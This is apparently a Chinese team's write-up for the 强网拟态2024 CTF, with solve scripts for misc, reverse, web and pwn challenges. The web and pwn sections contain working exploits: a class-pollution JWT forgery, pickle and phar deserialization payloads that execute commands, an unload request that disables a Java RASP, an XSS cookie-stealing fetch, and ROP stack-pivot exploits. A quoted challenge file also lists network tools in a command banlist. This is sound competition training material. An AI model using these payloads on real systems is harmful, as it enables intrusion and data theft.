强网拟态2024-volcano
强网拟态2024 by volcano
真tm难打,web都被打烂了,就那么点分
主要还是校队人员分布不均吧,太缺pwn手了
Misc
xor
ezflag
追踪tcp发现是个zip
有个flag.zip
放入010,发现是png
修改后缀即可
Pvz
import pyzipper
import hashlib
for i in range(100, 1000):
try:
with pyzipper.AESZipFile("how much.zip", "r") as file:
pwd = hashlib.md5(str(i).encode()).hexdigest()
file.extractall(pwd=pwd.encode())
print(i)
break
except Exception as ex:
continue
压缩包密码爆破出217eedd1ba8c592db97d0dbe54c7adfc,738阳光
得到两个图片
M41b0lg3.png
Zz.png
恢复了一下,用支付宝扫码
D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k
盲猜一手 Malbolge
flag{5108a32f-1c7f-4a40-a4fa-fd8982e6eb49}
Streaming
先把那堆 UDP 解码成 RTP 看看
参考一下 https://blog.csdn.net/water1209/article/details/127927245
插件 https://github.com/volvet/h264extractor
小黑子
暂时无法在飞书文档外展示此内容
flag1 is 'flag{3b3a9c08-'
hint:it's not just flag!!!
Reverse
Serv1ce
动调可以得知并dump出传入check中的输入、keyarray和num,对应so中的逻辑写脚本爆破可得
keyArray = [173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197]
v = [0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB, 0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF, 0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B, 0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67]
num = 11
for c in range(0, len(v)):
for i in range(128):
if (num * (i ^ keyArray[c])) & 0xff == v[c]:
print(chr(i), end='')
break
# f4c99233-3b19-426c-8ca6-a44d1c67f5d8
Easyre
挺复杂的花指令
估计必须写angr/unicorn脚本才能解了,实在不会/(ㄒoㄒ)/~~
Babyre
#include <stdio.h>
#define __int8 char
#define _QWORD long long
int check(int index, int num) {
int v1; // r8d
int v2; // ecx
int v3; // ecx
int v5; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
int v7; // [rsp+10h] [rbp-30h]
int v8; // [rsp+14h] [rbp-2Ch]
int v9; // [rsp+18h] [rbp-28h]
int v10; // [rsp+1Ch] [rbp-24h]
int v11; // [rsp+20h] [rbp-20h]
int v12; // [rsp+24h] [rbp-1Ch]
int v13; // [rsp+28h] [rbp-18h]
int v14; // [rsp+2Ch] [rbp-14h]
int v15; // [rsp+30h] [rbp-10h]
int i; // [rsp+38h] [rbp-8h]
unsigned int v17; // [rsp+3Ch] [rbp-4h]
char a1[12] = {0};
for (int j = 0; j <= 3; ++j )
{
a1[11 - j] = index & 1;
index >>= 1;
}
for (int k = 0; k <= 7; ++k )
{
a1[7 - k] = num & 1;
num >>= 1;
}
v15 = a1[1];
*(&v15 + 1) = a1[0];
v14 = a1[2];
v13 = a1[3];
v12 = a1[4];
v11 = a1[5];
v10 = a1[6];
v9 = a1[7];
v8 = a1[8];
v7 = a1[9];
v6 = a1[10];
v5 = a1[11];
v1 = (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v9 & (v11 == 0) & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15 | *(&v15 + 1)) == 0) & (v10 == 0) & (v6 == 0) | (unsigned __int8)v7 & (unsigned __int8)v9 & (unsigned __int8)v11 & (v13 == 0) & (v14 == 0) & *(char *)(&v15 + 1) & (v15 == 0) & (v12 == 0) & (v10 == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (unsigned __int8)(v14 & v15 & *(char *)(&v15 + 1)) & (v13 == 0) & (v7 == 0);
v2 = (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)(v15 & *(char *)(&v15 + 1)) & (v13 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v15 & (*(&v15 + 1) == 0) & (v14 == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v14 & *(char *)(&v15 + 1) & (v15 == 0) & (v11 == 0) & (v9 == 0) & (v6 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v13 & (unsigned __int8)v14 & (*(_QWORD *)&v15 == 0) & (v12 == 0) & (v9 == 0) & (v6 == 0) | (v1 | (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & (unsigned __int8)v14 & *(char *)(&v15 + 1) & (v15 == 0) & (v11 == 0) & (v8 == 0)) & (v5 == 0);
v3 = (unsigned __int8)v5 & (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (v13 == 0) & (v14 == 0) & (unsigned __int8)(v15 & *(char *)(&v15 + 1)) & (v11 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15 | *(&v15 + 1)) == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)v15 & (*(&v15 + 1) == 0) & (v13 == 0) & (v8 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & ((v12 | v13 | v14 | v15 | *(&v15 + 1)) == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v5 & (v7 == 0) & (v8 == 0) & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & *(char *)(&v15 + 1) & (v15 == 0) & (v13 == 0) & (v6 == 0) | v2;
if ( !((unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)v15 & (*(&v15 + 1) == 0) & (v13 == 0) & (v11 == 0) & (v9 == 0) & (v7 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (v10 == 0) & (v11 == 0) & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)v15 & (*(&v15 + 1) == 0) & (v13 == 0) & (v9 == 0) | v3 | (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & ((v13 | v14 | v15 | *(&v15 + 1)) == 0) & (v11 == 0) & (v9 == 0) & (v5 == 0)) )
return 0;
return 1;
}
int main()
{
for (int j = 0; j < 16; j++) {
for (int i = 0; i < 256; i++) {
if (check(j, i)) {
printf("%d %d\n", j, i);
}
}
}
return 0;
}
利用脚本爆破出最后的结果[18, 143, 236, 194, 133, 4, 178, 76, 91, 186, 74, 207, 17, 54, 10, 72]
然后针对中间一个乱七八糟的异或写出爆破脚本获取传入数据
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
uint8_t magic(uint8_t a1) {
if (a1 & 0x80) {
return ((2 * a1) ^ 0x1B) & 0xFF;
} else {
return (2 * a1) & 0xFF;
}
}
void magic_xor(uint8_t a1[4]) {
uint8_t v1 = a1[2] ^ magic(a1[1]) ^ a1[1] ^ magic(a1[0]) ^ a1[3];
uint8_t v2 = magic(a1[2]) ^ a1[2] ^ magic(a1[1]) ^ a1[0] ^ a1[3];
uint8_t v3 = magic(a1[2]) ^ a1[1] ^ a1[0] ^ magic(a1[3]) ^ a1[3];
uint8_t v4 = a1[2] ^ a1[1] ^ a1[0] ^ magic(a1[0]) ^ magic(a1[3]);
a1[0] = v1;
a1[1] = v2;
a1[2] = v3;
a1[3] = v4;
}
int main(int argc, char *argv[]) {
uint8_t result[16];
uint8_t origin[16] = {0};
for (int i = 0; i < 16; i++) {
result[i] = (uint8_t)strtol(argv[i + 1], NULL, 16);
}
for (int i = 0; i < 4; i++) {
uint8_t a1[4] = {0};
for (int c1 = 0; c1 < 256; c1++) {
for (int c2 = 0; c2 < 256; c2++) {
for (int c3 = 0; c3 < 256; c3++) {
int c4 = result[i]^result[i+4]^result[i+8]^result[i+12]^c1^c2^c3;
a1[0] = c1;
a1[1] = c2;
a1[2] = c3;
a1[3] = c4;
magic_xor(a1);
if (a1[0] == result[i] && a1[1] == result[i+4] && a1[2] == result[i+8] && a1[3] == result[i+12]) {
// printf("%02x, %02x, %02x, %02x\n", c1, c2, c3, c4);
origin[i] = c1;
origin[i+4] = c2;
origin[i+8] = c3;
origin[i+12] = c4;
}
}
}
}
}
for (int i = 0; i < 16; i++) {
printf("0x%02x, ", origin[i]);
}
return 0;
}
编译后供Python脚本使用
中间可以动调提取出异或的数据以及置换的table
import subprocess
burp = [18, 143, 236, 194, 133, 4, 178, 76, 91, 186, 74, 207, 17, 54, 10, 72]
v4 = [0x9A, 0x0C, 0x5F, 0x05, 0x1B, 0xB1, 0x4B, 0x8F, 0x89, 0x92, 0x5D, 0x2A, 0x00, 0x66, 0xD0, 0xA9]
xor_key = [0x35, 0xCC, 0x9A, 0xF9, 0x77, 0xA4, 0xB7, 0xB0, 0x40, 0x4A, 0x21, 0x1F, 0x2E, 0x3F, 0x82, 0x35, 0xD3, 0x1F, 0x85, 0x7C, 0xB7, 0x13, 0xA4, 0x14, 0xD6, 0x9C, 0xBD, 0xA2, 0xB7, 0x88, 0x0A, 0x3F, 0x2B, 0x34, 0xB1, 0xCD, 0x8D, 0x9E, 0x3A, 0x2E, 0xA3, 0x3F, 0x82, 0x20, 0xA7, 0x2F, 0x25, 0x1A, 0x1E, 0x2A, 0x9B, 0x56, 0x3A, 0xA4, 0x9E, 0xB0, 0x01, 0x3E, 0xBC, 0x9C, 0x1A, 0x35, 0x10, 0x0A, 0xF1, 0xDB, 0x40, 0x16, 0xE4, 0x40, 0xDE, 0x6E, 0x66, 0x58, 0xE4, 0x78, 0xAB, 0x9E, 0x8E, 0x84, 0x7E, 0xA5, 0xE5, 0xF3, 0x58, 0x18, 0xC6, 0xA8, 0x39, 0x61, 0x85, 0xFD, 0xEC, 0x72, 0xFC, 0x78, 0x9C, 0x39, 0xDC, 0x2F, 0x0C, 0x14, 0xD2, 0x7A, 0x85, 0xE4, 0x61, 0x9C, 0xE1, 0x93, 0x6F, 0x17, 0x06, 0x3F, 0xE3, 0xCC, 0xD2, 0xC6, 0x14, 0x6E, 0x75, 0x91, 0xF0, 0x6C, 0xF4, 0x67, 0x08, 0x1F, 0x19, 0x26, 0xC5, 0x09, 0x82, 0x44, 0x50, 0x3E, 0xB5, 0x24, 0xD4, 0xB8, 0xBF, 0xD8, 0xD0, 0xCF, 0xB0, 0x96, 0x53, 0x5A, 0xEE, 0xAA, 0xFA, 0xC4, 0x3F, 0x1B, 0xCF, 0x77, 0xBE, 0x66, 0xB6, 0x79]
table = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x1, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x4, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x5, 0x9a, 0x7, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x9, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x0, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x2, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0xc, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0xb, 0xdb, 0xe0, 0x32, 0x3a, 0xa, 0x49, 0x6, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x8, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x3, 0xf6, 0xe, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0xd, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0xf, 0xb0, 0x54, 0xbb, 0x16]
def xor(data, key):
return [data[i] ^ key[i] for i in range(16)]
def change(d):
new_data = [d[0], d[1], d[2], d[3], d[5], d[6], d[7], d[4], d[10], d[11], d[8], d[9], d[15], d[12], d[13], d[14]]
return new_data
def reverse_change(d):
original_data = [d[0], d[1], d[2], d[3], d[7], d[4], d[5], d[6], d[10], d[11], d[8], d[9], d[13], d[14], d[15], d[12]]
return original_data
def find_table(d):
new_data = []
for i in range(16):
new_data.append(table[d[i]])
return new_data
def reverse_find_table(d):
original_data = []
for value in d:
original_data.append(table.index(value))
return original_data
def magic(a1):
if a1 & 0x80 == 0:
return (2 * a1) & 0xFF
else:
return (2 * a1 ^ 0x1B) & 0xFF
def reverse_magic(a1):
if a1 % 2 == 0:
return a1 // 2
else:
return ((a1 ^ 0x1B) + 256) // 2
def magic_xor(a1):
for i in range(4): # 循环次数为4
v1 = a1[i + 8] ^ magic(a1[i + 4]) ^ a1[i + 4] ^ magic(a1[i]) ^ a1[i + 12]
v2 = magic(a1[i + 8]) ^ a1[i + 8] ^ magic(a1[i + 4]) ^ a1[i] ^ a1[i + 12]
v3 = magic(a1[i + 8]) ^ a1[i + 4] ^ a1[i] ^ magic(a1[i + 12]) ^ a1[i + 12]
v4 = a1[i + 8] ^ a1[i + 4] ^ a1[i] ^ magic(a1[i]) ^ magic(a1[i + 12])
a1[i] = v1
a1[i + 4] = v2
a1[i + 8] = v3
a1[i + 12] = v4
return a1
def reverse_magic_xor(a1):
# 将a1的16进制值作为argv传入test1.exe
s = ' '.join([hex(i)[2:] for i in a1])
s = 'test1.exe ' + s
p = subprocess.Popen(s, shell=True, stdout=subprocess.PIPE)
p.wait()
result = p.stdout.read().decode('utf-8')[:-2]
result = eval('['+result+']')
return result
def trans(a1):
new_a = [0 for i in range(16)]
for i in range(4):
for j in range(4):
new_a[i * 4 + j] = a1[j * 4 + i]
return new_a
if __name__ == '__main__':
result = trans(burp)
result = xor(result, v4)
result = reverse_change(result)
result = reverse_find_table(result)
for i in range(9, 0, -1):
result = xor(result, xor_key[i*16:(i+1)*16])
result = reverse_magic_xor(result)
result = reverse_change(result)
result = reverse_find_table(result)
result = xor(result, xor_key[0:16])
result = trans(result)
# 将列表输出为uuid格式
print(''.join(['{:02x}'.format(i) for i in result]))
# 4d87ef0377bb491a80f54620245807c4
Web
Ezpicker
register 函数原型链污染修改 jwt key,修改 jwt token 至 admin role
{"username": "admin", "password": "admin", "__class__": {"__init__": {"__globals__": {"secret_key": "0d000721"}}}}
把 jwt 贴一下吧,方便点
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.e5KkmWzkkozWyBU4N4d1p3tB7Xq8X9NFF44CWkscM5w
理论上还能给 safe_* 字典篡改一下(应该就是要改,然后利用 __reduce__
?)
先把 os.system 加上去看看
{"username": "admin", "password": "admin", "__class__": {"__init__": {"__globals__": {"secret_key": "0d000721", "safe_modules": ["builtins"], "safe_names": ["eval", "exec"]}}}}
草,应该还要加 posix
只能用 buitlins,那估计得写个 eval,不能直接 os.system
eval 确实可以,接下来就是看看怎么写 exp 了
用 exec 覆写函数?或者注册一个 handler?
用了非常 dirty 的方法(
import pickle
class Exp:
def __reduce__(self):
code = """
class FakeOpen:
def __init__(self, *args):
pass
def read(self):
return repr(os.listdir("/"))
def __enter__(self):
return self
def __exit__(self, *args):
pass
globals()["open"] = FakeOpen
""".strip()
return exec, (code,)
with open("exp.pkl", "wb") as fp:
pickle.dump(Exp(), fp)
伪造一个 open 把原本的 open 覆写掉,然后访问 ‘/‘
最后把 open 目标改写一下
import pickle
class Exp:
def __reduce__(self):
code = """
globals()["open"] = lambda *_: builtins.open("/tr3e_fl4g_1s_h3re_lol")
""".strip()
return exec, (code,)
with open("exp.pkl", "wb") as fp:
pickle.dump(Exp(), fp)
flag{yJLgNqR2St6VHfSJnmvggRBZtVycKHSj}
Capoo
LFR 任意文件读取
POST http://web-639b9d6c7e.challenge.xctf.org.cn/showpic.php
capoo=path
Warning: file_get_contents(/proc/self/environ): failed to open stream: Permission denied in /var/www/html/showpic.php on line 20
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];
if (file_exists($file)) {
$data = file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("http://")) === "http://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>
phar反序列化
本地生成后gzip压缩,http://远程下载
利用file_get_content触发
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
$a = new CapooObj();
$a->action = "find / -maxdepth 1";
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test1.txt", "test1");
$phar->stopBuffering();
通过 find / -maxdepth 1
可找到 flag 文件名
随后直接调用 showpic.php 的文件读取功能读取 flag 文件内容
OnlineRunner
java.io.File directory = new java.io.File("/"); // 设置你想检查的目录
java.io.File[] files = directory.listFiles(); // 获取目录中的文件列表
if (files != null) {
for (java.io.File file : files) {
System.out.println("java.io.File: " + file.getName());
System.out.println("Readable: " + file.canRead());
System.out.println("Writable: " + file.canWrite());
System.out.println("Executable: " + file.canExecute());
System.out.println();
}
} else {
System.out.println("Could not access the directory or it is empty.");
}
发现一定要rce执行/readflag
然后随便读取文件
String filePath = "/xxx"; // 替换为你的文件路径
try (java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(filePath))) {
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (java.io.IOException e) {
System.err.println("Error reading file: " + e.getMessage());
}
/proc/self/cmdline发现是openjdk17,并且加载了一个rasp的agent
接着能够找到rasp的log看了下知道是jvm-rasp,是alibaba的产品
看了wiki后我们知道它是通过加载module进行hook
把sandbox-module的jvm-rasp弄下来看看
想要通过UNIXProcess进行绕过,但不太会
后来看到wiki能够卸载module,并且查看sandbox.sh的逻辑实际上就是发送curl请求
放给gpt给个例子就可以得到路径
我们需要修改的东西可以在sandbox.log中得到,比如port,还有ids
然后用java写能够进行上述请求的代码即可
String urlString = "http://127.0.0.1:39073/sandbox/default/module/http/sandbox-module-mgr/unload?1=1&action=unload&ids=rasp-rce-native-hook";
try {
// 创建 URL 对象
java.net.URL url = new java.net.URL(urlString);
// 打开连接
java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();
// 设置请求方法为 GET
connection.setRequestMethod("GET");
// 设置连接属性,模拟 -N 和 -s 选项
connection.setDoInput(true);
connection.setUseCaches(false);
// 获取响应状态
int responseCode = connection.getResponseCode();
System.out.println("Response Code: " + responseCode);
// 读取响应
try (java.io.BufferedReader in = new java.io.BufferedReader(new java.io.InputStreamReader(connection.getInputStream()))) {
String inputLine;
java.lang.StringBuilder response = new java.lang.StringBuilder();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
// 打印响应
System.out.println(response.toString());
}
} catch (java.lang.Exception e) {
e.printStackTrace();
}
最后执行拿回显
try {
System.out.println(new java.util.Scanner(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream()).next());
} catch (java.io.IOException e) {
throw new java.lang.RuntimeException(e);
}
Spreader
考点就是xss窃取cookie,然后payload套两次
经过尝试,在闭合的script标签里加换行即可绕过
不出网,写在/store即可
<script>fetch('/store',{body:'cookie='+document.cookie,method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>
换cookie后再来一次就行
Pwn
signin_revenge
沙箱题,对 execve 和 execveat 过滤,但 system 函数需要调用 execve(at)
禁用了execve和execveat,无法直接getshell,可以尝试orw
在vuln中存在栈溢出,而且可以通过puts函数泄露libc,由于mmap函数需要的参数太多,比较难实现,此处使用栈迁移,将栈迁移到bss段,并在bss段写入orw的gadget,成功执行后可以从根目录flag文件中读取到flag
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote('ip','port')
elf = ELF('./vuln')
#p = process('./vuln')
libc = ELF('./libc.so.6')
offset = 0x100 + 0x08
pop_rdi = 0x401393
pop_ret = 0x40101a
bss = 0x404300
lea_rax = 0x4012CF
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main_addr = 0x4012F0
leave = 0x4012EE
payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil('lets move and pwn!')
p.send(payload_leak)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdx = libc_base + 0x142c92
pop_rsi = libc_base + 0x2601f
payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax)
p.recvuntil('lets move and pwn!')
p.send(payload_migration)
pause()
payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss + 0x300) + p64(leave)
p.send(payload)
p.interactive()
Signin
看上去是一道堆题,其实还是栈题,仔细观察可以发现存在一个后门函数o_O,就是上一题中的vuln函数,故可以借用上题脚本。但是在此之外又增加了auth鉴权函数,好在其中也存在栈溢出,可以通过溢出修改srand(seed)中的seed,此处修改为了0x11111111,再调用c中的rand函数就可以计算出固定的随机数,转为字节之后即可绕过auth函数。进入add函数中的o_O函数之后,打上题脚本读取到flag。
import ctypes
import random
from pwn import *
# 加载 C 标准库
libc = ctypes.CDLL("./libc.so.6")
# 定义 srand 函数的参数类型
libc.srand.argtypes = [ctypes.c_uint]
# 设置随机数种子
seed = 0x11111111
libc.srand(seed)
# 生成 100 个随机数
random_numbers = [libc.rand()%100+1 for _ in range(100)]
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote('ip','port')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
offset = 0x100 + 0x08
pop_rdi = 0x401893
pop_ret = 0x40101a
bss = 0x404300
lea_rax = 0x4013CF
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main_addr = 0x4013C0
leave = 0x4013EE
p.send(0x8*b'a'+(0x12-0x8)*b'\x11')
for i in range(100):
p.sendafter('Input the authentication code:',random_numbers[i].to_bytes(1, 'big'))
p.sendafter('>> ',b'\x01')
p.sendafter('Index: ',b'\x01')
p.sendafter('Note: ',b'\x01')
payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#p.recvuntil('lets move and pwn!')
p.send(payload_leak)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdx = libc_base + 0x142c92
pop_rsi = libc_base + 0x2601f
payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax)
#p.recvuntil('lets move and pwn!')
p.send(payload_migration)
pause()
payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss + 0x300) + p64(leave)
p.send(payload)
p.interactive()